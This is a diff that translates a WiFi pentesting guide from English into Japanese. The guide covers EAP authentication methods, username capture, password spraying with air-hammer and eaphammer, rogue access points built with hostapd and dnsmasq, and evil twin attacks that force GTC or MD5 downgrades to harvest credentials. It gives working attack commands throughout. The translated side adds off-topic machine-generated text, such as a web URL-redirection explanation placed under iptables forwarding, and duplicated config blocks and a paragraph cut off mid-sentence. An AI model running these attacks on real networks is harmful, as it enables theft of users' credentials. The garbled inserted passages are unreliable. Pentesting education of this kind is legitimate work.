authentication and can be used to dynamically generate user-based and session-based WEP keys to secure subsequent communications. -* **EAP-TTLS (Tunneled Transport Layer Security)**: **Mutual authentication** of the client and network through an encrypted channel (or tunnel), as well as a means to derive dynamic, per-user, per-session WEP keys. Unlike EAP-TLS, **EAP-TTLS requires only server-side certificates (client will use credentials)**. -* **PEAP (Protected Extensible Authentication Protocol)**: PEAP is like the **EAP** protocol but creating a **TLS tunnel** to protect the communication. Then, weak authentication protocols can by used on top of EAP as they will be protected by the tunnel. - * **PEAP-MSCHAPv2**: This is also known as just **PEAP** because it is widely adopted. This is just the vulnerable challenge/response called MSCHAPv2 on to of PEAP (it is protected by the TLS tunnel). - * **PEAP-EAP-TLS or just PEAP-TLS**: Is very similar to **EAP-TLS** but a TLS tunnel is created before the certificates are exchanged. +- **EAP-GTC**:EAP-PEAPでハードウェアトークンとワンタイムパスワードの使用をサポートするためのEAPメソッドです。MSCHAPv2と似た実装ですが、ピアチャレンジは使用しません。代わりに、パスワードは**平文**でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。 +- **EAP-MD-5(メッセージダイジェスト)**:クライアントはパスワードのMD5ハッシュを送信します。**推奨されません**:辞書攻撃に対して脆弱であり、サーバーの認証も行われず、セッションごとの有線同等プライバシー(WEP)キーを生成する方法もありません。 +- **EAP-TLS(トランスポート層セキュリティ)**:クライアント側とサーバー側の証明書を使用して認証を行い、後続の通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成するために使用されます。 +- **EAP-TTLS(トンネル化トランスポート層セキュリティ)**:暗号化されたチャネル(またはトンネル)を介したクライアントとネットワークの**相互認証**、およびユーザーごとのセッションごとのWEPキーの生成手段を提供します。EAP-TLSとは異なり、**EAP-TTLSはサーバー側の証明書のみが必要です(クライアントは資格情報を使用します)**。 +- **PEAP(保護拡張認証プロトコル)**:PEAPは**EAP**プロトコルのようですが、通信を保護するために**TLSトンネル**を作成します。その後、TLSトンネルの上に弱い認証プロトコルを使用できます。 +- **PEAP-MSCHAPv2**:これは広く採用されているため、**PEAP**とも呼ばれます。これはPEAPの上にある脆弱なチャレンジ/レスポンスであるMSCHAPv2です(TLSトンネルで保護されています)。 +- **PEAP-EAP-TLSまたはPEAP-TLS**:これは**EAP-TLS**に非常に似ていますが、証明書の交換の前にTLSトンネルが作成されます。 -You can find more information about these authentication methods [here ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)and [here](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). +これらの認証方法の詳細については、[こちら](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)と[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)を参照してください。 -### Username Capture +### ユーザー名のキャプチャ -Reading [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) it looks like if you are using **EAP** the **"Identity"** **messages** must be **supported**, and the **username** is going to be sent in **clear** in the **"Response Identity"** messages. +[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**「Identity」**メッセージが**サポート**される必要があり、**ユーザー名**が**「Response Identity」**メッセージで**クリア**に送信されます。 -Even using one of the most secure of authentication methods: **PEAP-EAP-TLS**, it is possible to **capture the username sent in the EAP protocol**. To do so, **capture a authentication communication** (start `airodump-ng` inside a channel and `wireshark` in the same interface) and filter the packets by`eapol`.\ -Inside the "**Response, Identity**" packet, the **username** of the client will appear. +最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、EAPプロトコルで送信される**ユーザー名をキャプチャ**することができます。これを行うには、認証通信をキャプチャします(チャネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を開始してパケットを`eapol`でフィルタリングします)。 + +**「Response, Identity」**パケットの中に、クライアントの**ユーザー名**が表示されます。 ![](<../../.gitbook/assets/image (150).png>) -### Anonymous Identities +### 匿名のアイデンティティ -(Info taken from [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)) +(情報は[こちら](https://www.interlinknetworks.com/app_notes/eap-peap.htm)から取得) -Both **EAP-PEAP and EAP-TTLS support identity hiding**. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples. +**EAP-PEAP**および**EAP-TTLS**の両方は、**アイデンティティの非表示**をサポートしています。WiFi環境では、アクセスポイント(AP)は通常、関連付けプロセスの一部としてEAP-Identityリクエストを生成します。匿名性を保持するために、ユーザーシステム上のEAPクライアントは、リクエストを処理するために十分な情報のみを含む応答を送信する場合があります。以下の例を参照してください。 -* _**EAP-Identity = anonymous**_ +- _**EAP-Identity = anonymous**_ -> In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server. +> この例では、すべてのユーザーが疑似ユーザー名「anonymous」を共有します。最初のホップのRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーであり、PEAPまたはTTLSプロトコルのサーバーエンドを駆動します。その後、内部(保護された)認証タイプは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーにプロキシされます。 -* _**EAP-Identity = anonymous@realm\_x**_ +- _**EAP-Identity = anonymous@realm_x**_ -> In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node. -> -> Alternatively, the first hop server may act as the EAP-PEAP or EAP-TTLS server and either process the protected authentication method or proxy it to another server. This option may be used to configure different policies for different realms. +> この例では、異なるレルムに属するユーザーは自分自身のアイデンティティを非表示にし、所属するレルムを示すだけです。これにより、最初のホップのRADIUSサーバーは、ユーザーのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシできます。最初のホップサーバーは純粋なRADIUSリレーノードとして機能します。 -In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, the PEAP server generates an EAP-Identity request and transmits it down the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity down the encrypted tunnel. This prevents anyone eavesdropping on the 802.11 traffic from discovering the user’s true identity. +EAP-PEAPでは、PEAPサーバーとPEAPクライアントがTLSトンネルを確立すると、PEAPサーバーはEAP-Identityリクエストを生成し、TLSトンネルを下に送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを下にユーザーの真のアイデンティティを含むEAP-Identity応答を送信します。これにより、802.11トラフィックを傍受してもユーザーの真のアイデンティティを発見することはできません。 -EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established. +EAP-TTLSは少し異なる動作をします。EAP-TTLSでは、クライアントは通常、TLSトンネルで保護されたPAPまたはCHAPを介して認証します。この場合、クライアントは、トンネルが確立された後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。 -With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form _**user@realm**_ or simply _**user**_. If the PEAP/TTLS server is also authenticating the _**user**_, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request. - -### EAP-Bruteforce (password spray) - -If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** a **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** +どちらのプロトコルでも、TLSトンネルが確立されると、PEAP/TTLSサーバーはユーザーの真のアイデンティティを学習します。真のアイデンティティは、_**user@realm**_または単に_**user**_の形式である場合があります。PEAP/TTLSサーバーが_**user**_の認証も行っている場合、ユーザーのアイデンティティがわかり、TLSトンネルで保護されている認証方法を続行します。また、PEAP/TTLSサーバーは、ユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することもできます。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルが削除されています。保護された認証方法がEAPである場合、内部のEAPメッセージはEAP-PEAPまたはEAP-TTLS +### EAP-Bruteforce(パスワードスプレー) +クライアントが**ユーザー名とパスワード**を使用することが予想される場合(**EAP-TLSはこの場合有効ではありません**)、次の手順で**ユーザー名**の**リスト**と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。 ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` - -You could also do this attack using `eaphammer`: - +あなたは`eaphammer`を使用してもこの攻撃を行うことができます。 ```bash ./eaphammer --eap-spray \ - --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ - --essid example-wifi \ - --password bananas \ - --user-list users.txt +--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ +--essid example-wifi \ +--password bananas \ +--user-list users.txt ``` +## クライアント攻撃の理論 -## Client attacks Theory +### ネットワークの選択とローミング -### Network Selection and Roaming +802.11プロトコルは、ステーションがESSに参加する方法を指定する非常に具体的なルールを持っていますが、ステーションがどのESSに接続するかを選択する方法は指定していません。さらに、プロトコルは、同じESSを共有するアクセスポイント間でステーションが自由にローミングできるようにします(建物の一方からもう一方に移動する際にWiFi接続を失いたくないためなど)。ただし、802.11プロトコルはこれらのアクセスポイントがどのように選択されるべきかを指定していません。さらに、ステーションはアクセスポイントに関連付けるためにESSに認証されなければならないが、802.11プロトコルはアクセスポイントがステーションに認証されることを要求していません。 -Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station. +### 優先ネットワークリスト(PNL) -### Preferred Network Lists (PNLs) +ステーションがワイヤレスネットワークに接続するたびに、ネットワークのESSIDはステーションの優先ネットワークリスト(PNL)に保存されます。 PNLは、ステーションが過去に接続したすべてのネットワークの順序付きリストであり、PNLの各エントリにはネットワークのESSIDと接続を確立するために必要なネットワーク固有の設定情報が含まれています。 -Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection. +### パッシブスキャン -### Passive Scanning +インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して周辺のステーションに存在と機能を広告します。ビーコンはブロードキャストフレームであり、つまり、範囲内のすべての近くのステーションに受信されることを意図しています。ビーコンにはAPのサポートされるレート、暗号化の機能、追加情報などが含まれますが、最も重要なのは、ビーコンフレームにAPのESSIDが含まれていることです(ESSIDのブロードキャストが無効にされていない限り)。 -In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled). +パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを受信します。クライアントデバイスがPNLのESSIDフィールドと一致するESSIDを持つビーコンフレームを受信した場合、クライアントは自動的にビーコンフレームを送信したアクセスポイントに接続します。次に、現在ワイヤレスに接続されていないワイヤレスデバイスをターゲットにしたい場合、そのクライアントのPNLに少なくとも1つのエントリを知っている場合、そのエントリのESSIDを使用して独自のアクセスポイントを作成するだけで、クライアントを接続させることができます。 -During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID. +### アクティブプロービング -### Active Probing +802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングとして知られています。アクティブプロービングを使用するクライアントデバイスは、範囲内のAPが何であるか、およびその機能が何であるかを判断するために、継続的にプローブリクエストフレームを送信します。プローブリクエストには2つの形式があります:直接とブロードキャスト。直接プローブリクエストは特定のESSIDに宛てられ、特定のネットワークが近くにあるかどうかをクライアントが確認する方法です。 -The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client’s way of checking if a specific network is nearby. +直接プローブリクエストを使用するクライアントは、PNLの各ネットワークに対してプローブリクエストを送信します。なお、直接プローブリクエストは近くにある非表示ネットワークの存在を特定する唯一の方法であることに注意してください。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドがNULLに設定されています。これにより、ブロードキャストプローブが近くのすべてのアクセスポイントに送信され、ステーションはPNLの内容を明らかにせずに、その優先ネットワークが近くにあるかどうかを確認できます。 -Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the the station to check if any of its preferred networks are nearby without revealing the contents of its PNL +## インターネットへのリダイレクトを備えたシンプルなAP -## Simple AP with redirection to Internet +より複雑な攻撃の実行方法を説明する前に、単にAPを作成し、そのトラフィックをインターネットに接続されたインターフェースにリダイレクトする方法について説明します。 -Before explaining how to perform more complex attacks it's going to be explained **how** to just **create** an **AP** and **redirect** it's **traffic** to an interface connected **to** the **Internet**. - -Using `ifconfig -a` check that the wlan interface to create the AP and the interface connected to the Internet are present. - -### DHCP & DNS +`ifconfig -a`を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。 +### DHCP&DNS ```bash apt-get install dnsmasq #Manages DHCP and DNS ``` +以下のように、_ /etc/dnsmasq.conf_ という名前の設定ファイルを作成します: -create a config file _/etc/dnsmasq.conf_ as follows: +```plaintext +# Enable DNS resolution +domain-needed +bogus-priv +# Set the DNS server +server=8.8.8.8 +server=8.8.4.4 + +# Set the DHCP range +dhcp-range=192.168.0.100,192.168.0.200,12h +``` ``` interface=wlan0 dhcp-authoritative @@ -538,28 +533,47 @@ log-queries log-dhcp listen-address=127.0.0.1 ``` - -Then **set IPs** and **routes**: - +次に、**IPアドレス**と**ルート**を設定します。 ``` ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 ``` - -And then **start** dnsmasq: - +そして、dnsmasqを**起動**します: ``` dnsmasq -C dnsmasq.conf -d ``` - ### hostapd +hostapdは、Linuxベースのシステムで使用されるツールです。これは、ワイヤレスアクセスポイント(AP)を作成するために使用されます。hostapdを使用すると、ワイヤレスネットワークの設定やセキュリティオプションの管理が容易になります。 + +hostapdは、さまざまなセキュリティプロトコルをサポートしており、WPA(Wi-Fi Protected Access)やWPA2(Wi-Fi Protected Access 2)などの暗号化方式を使用してネットワークを保護することができます。また、MACアドレスフィルタリングやアクセス制御リスト(ACL)の設定など、セキュリティを強化するための機能も提供しています。 + +hostapdは、ペネトレーションテストやセキュリティオーディットの際に、ワイヤレスネットワークのセキュリティを評価するために使用されることがあります。ハッカーは、hostapdを使用して、ワイヤレスネットワークの脆弱性を特定し、潜在的な攻撃手法をテストすることができます。 + +hostapdの設定は、`hostapd.conf`という設定ファイルを使用して行われます。このファイルには、ネットワークのSSID(サービスセット識別子)、パスワード、暗号化方式などの情報が含まれています。ハッカーは、この設定ファイルを適切に編集することで、ワイヤレスネットワークの動作やセキュリティをカスタマイズすることができます。 + +hostapdは、ワイヤレスネットワークのセキュリティを向上させるための重要なツールです。ハッカーは、hostapdを使用して、ワイヤレスネットワークの脆弱性を特定し、セキュリティを強化するための対策を講じることができます。 ``` apt-get install hostapd ``` +以下は、_hostapd.conf_という名前の設定ファイルです。 -Create a config file _hostapd.conf:_ - +```plaintext +interface=wlan0 +driver=nl80211 +ssid=MyWiFiNetwork +hw_mode=g +channel=6 +macaddr_acl=0 +auth_algs=1 +ignore_broadcast_ssid=0 +wpa=2 +wpa_passphrase=MyPassword +wpa_key_mgmt=WPA-PSK +wpa_pairwise=TKIP +rsn_pairwise=CCMP +``` +この設定ファイルを使用して、ホストアクセスポイントを構成することができます。 ``` interface=wlan0 driver=nl80211 @@ -577,79 +591,89 @@ wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` - -**Stop annoying processes** , set **monitor mode**, and **start hostapd**: - +**厄介なプロセスを停止**し、**モニターモード**を設定し、**hostapdを起動**します。 ``` airmon-ng check kill iwconfig wlan0 mode monitor ifconfig wlan0 up hostapd ./hostapd.conf ``` +### フォワーディングとリダイレクト -### Forwarding and Redirection +Forwarding and redirection are techniques used in web applications to redirect users from one URL to another. These techniques can be used for various purposes, such as load balancing, URL shortening, or implementing custom routing logic. +#### Forwarding + +Forwarding is the process of redirecting a user's request from one URL to another URL on the server side. This can be achieved using server-side scripting languages like PHP, Python, or JavaScript. The server receives the user's request for a specific URL and then forwards it to a different URL. + +There are two types of forwarding: + +1. **Client-side forwarding**: In this type of forwarding, the server sends a response to the client with a new URL, and the client's browser automatically redirects to the new URL. This is done using the HTTP `Location` header. + +2. **Server-side forwarding**: In this type of forwarding, the server receives the user's request for a specific URL and internally forwards it to a different URL without the client's browser being aware of the redirection. This is done using server-side scripting languages. + +#### Redirection + +Redirection is the process of automatically redirecting a user's request from one URL to another URL. This can be achieved using HTTP status codes, such as 301 (Moved Permanently) or 302 (Found), along with the new URL. + +There are two types of redirection: + +1. **Permanent redirection**: This type of redirection is used when a URL has permanently moved to a new location. It is achieved using the HTTP status code 301 (Moved Permanently). The client's browser will update its bookmarks and cache to use the new URL. + +2. **Temporary redirection**: This type of redirection is used when a URL has temporarily moved to a different location. It is achieved using the HTTP status code 302 (Found). The client's browser will continue to use the original URL for future requests. + +Both forwarding and redirection are useful techniques in web applications for managing URL changes, implementing routing logic, or directing users to different pages based on certain conditions. ```bash iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward ``` +## イービルツイン -## Evil Twin +イービルツイン攻撃は、ほとんどのコンピュータや携帯電話がワイヤレスネットワークの「名前」またはESSIDのみを見ることを利用するWi-Fi攻撃の一種です(基地局はクライアントに対して認証を行う必要がないため)。これにより、同じ名前と同じ種類の暗号化を使用するネットワークを区別するのは非常に困難になります。実際には、多くのネットワークは、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントを持っています。 -An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users. +クライアントの実装方法によって(802.11プロトコルでは、同じESS内のアクセスポイント間を自由にローミングすることが許可されていることを覚えておいてください)、デバイスを接続している基地局を変更することが可能です。これは、より良い信号を提供すること(常に可能ではありません)または元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他のDoS攻撃)によって行うことができます。 -Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack). - -Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult). - -You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing: +また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも複数のアクセスポイントがあり、これらのアクセスポイントは天井に向けて配置されるため、より強力で視野範囲が広い場合があります。単一のアクセスポイントを認証解除すると、ターゲットは通常、ローグAPではなく別の有効なアクセスポイントにローミングします(近くのすべてのアクセスポイントが認証解除されている場合(大音量)またはローグAPの配置に非常に注意している場合を除く)、難しいです。 +次のように、非常に基本的なオープンイービルツイン(インターネットへのトラフィックのルーティング機能なし)を作成することができます。 ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` - -You could also create an Evil Twin using **eaphammer** (notice that to create evil twins with eaphammer the interface **should NOT be** in **monitor** mode): - +あなたは**eaphammer**を使用してEvil Twinを作成することもできます(eaphammerを使用してEvil Twinを作成するには、インターフェースは**モニター**モードではない**必要があります**)。 ``` ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` - -Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).` +または、Airgeddonを使用する場合は、`オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)`です。 ![](<../../.gitbook/assets/image (148).png>) -Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it). +デフォルトでは、PNLのESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。 -_Some OS and AV will warn the user that connect to an Open network is dangerous..._ +_一部のOSとAVは、オープンなネットワークに接続することは危険であるとユーザーに警告する場合があります..._ ### WPA/WPA2 Evil Twin -You can create an **Evil Twin using WPA/2** and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, **to complete the 4-way-handshake** you also need to **know** the **password** that the client is going to use. If you **don't know** it, the **connection won't be completed**. - +**WPA/2を使用したEvil Twin**を作成することができます。デバイスがWPA/2でそのSSIDに接続するように設定されている場合、接続を試みます。ただし、**4ウェイハンドシェイクを完了するには**、クライアントが使用する**パスワードを知る必要があります**。それを**知らない**場合、**接続は完了しません**。 ``` ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` +### エンタープライズのEvil Twin -### Enterprise Evil Twin +この攻撃を理解するためには、まず[WPA Enterpriseの説明](./#wpa-enterprise-mgt)を読むことをおすすめします。 -To understand this attacks I would recommend to read before the brief [WPA Enterprise explanation](./#wpa-enterprise-mgt). - -**Using hostapd-wpe** - -`hostapd-wpe` needs a **configuration** file to work. To **automate** the generation if these configurations you could use [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (download the python file inside _/etc/hostapd-wpe/_) +**hostapd-wpeを使用する** +`hostapd-wpe`は動作するために**設定**ファイルが必要です。これらの設定を自動化するために、[https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)を使用することができます(_`/etc/hostapd-wpe/`_内のPythonファイルをダウンロードしてください)。 ``` ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com hostapd-wpe ./victim/victim.conf -s ``` +設定ファイルでは、ssid、チャネル、ユーザーファイル、証明書/キー、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます... -In the configuration file you can select a lot of different things like ssid, channel, user files, cret/key, dh parameters, wpa version and auth... - -[**Using hostapd-wpe with EAP-TLS to allow any certificate to login.**](evil-twin-eap-tls.md) - -**Using EAPHammer** +[**EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する方法**](evil-twin-eap-tls.md) +**EAPHammerの使用** ```bash # Generate Certificates ./eaphammer --cert-wizard @@ -657,59 +681,53 @@ In the configuration file you can select a lot of different things like ssid, ch # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` - -By default, EAPHammer purposes this authentication methods (notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods): - +デフォルトでは、EAPHammerは次の認証方法を提供します(平文パスワードを取得するために最初にGTCを使用し、その後より堅牢な認証方法を使用します): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` - -This is the default methodology to avoid long connection times. However, you can also specify to server the authentication methods from weakest to strongest: - +これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに認証方法を指定することもできます。 ``` --negotiate weakest ``` +または、次の方法も使用することができます: -Or you could also use: +* `--negotiate gtc-downgrade`は、高効率なGTCダウングレード実装(平文パスワード)を使用します。 +* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`は、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ順序で同じ認証メソッドを提供することで、攻撃を検出することがより困難になります)。 +* [詳細については、wikiを参照してください](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) -* `--negotiate gtc-downgrade` to use highly efficient GTC downgrade implementation (plaintext passwords) -* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect). -* [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) +**Airgeddonを使用する** -**Using Airgeddon** - -`Airgeddon` can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to **capture the user and the MD5 of the password**. Later, the attacker can try to crack the password.\ -`Airggedon` offers you the possibility of a **continuous Evil Twin attack (noisy)** or **only create the Evil Attack until someone connects (smooth).** +`Airgeddon`は、事前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供することができます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、ユーザーとパスワードのMD5を**キャプチャ**することができます。後で、攻撃者はパスワードを解読しようとすることができます。\ +`Airggedon`は、**連続的なEvil Twin攻撃(ノイズあり)**または**誰かが接続するまでEvil Twin攻撃を作成するだけ(スムーズ)**の可能性を提供します。 ![](<../../.gitbook/assets/image (129).png>) -### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks +### Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ -_This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS_ +_この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです_ -Inside the **configuration** of _hostapd-wpe_ **comment** the line that contains _**dh\_file**_ (from `dh_file=/etc/hostapd-wpe/certs/dh` to `#dh_file=/etc/hostapd-wpe/certs/dh`)\ -This will make `hostapd-wpe` to **exchange keys using RSA** instead of DH, so you will be able to **decrypt** the traffic later **knowing the servers private key**. +_hostapd-wpe_の**設定**の中で、_**dh\_file**_を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh`から`#dh_file=/etc/hostapd-wpe/certs/dh`まで)。\ +これにより、`hostapd-wpe`がDHの代わりにRSAを使用して鍵を交換するようになり、後でトラフィックを**サーバーの秘密鍵を知っている状態で復号化**することができます。 -Now start the **Evil Twin** using **`hostapd-wpe`** with that modified configuration as usual. Also, start **`wireshark`** in the **interface** which is performing the Evil Twin attack. +今、通常どおりに変更された設定を使用して**Evil Twin**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**も起動します。 -Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` +今すぐまたは後で(すでにいくつかの認証意図をキャプチャした場合)、wiresharkの「編集→設定→プロトコル→TLS→(RSAキーリスト)編集...」でプライベートRSAキーを追加できます。 -Add a new entry and fill the form with this values: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**select your key file**, to avoid problems select a key file **without being password protected**). +新しいエントリを追加し、次の値を入力します:**IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キーファイル**(キーファイルを選択します。問題が発生しないように、パスワードで保護されていないキーファイルを選択してください)。 ![](<../../.gitbook/assets/image (151).png>) -And look at the new **"Decrypted TLS" tab**: +そして、新しい**「復号化されたTLS」タブ**を見てください: ![](<../../.gitbook/assets/image (152).png>) -## KARMA, MANA, Loud MANA and Known beacons attack +## KARMA、MANA、Loud MANA、およびKnown beacons攻撃 -### 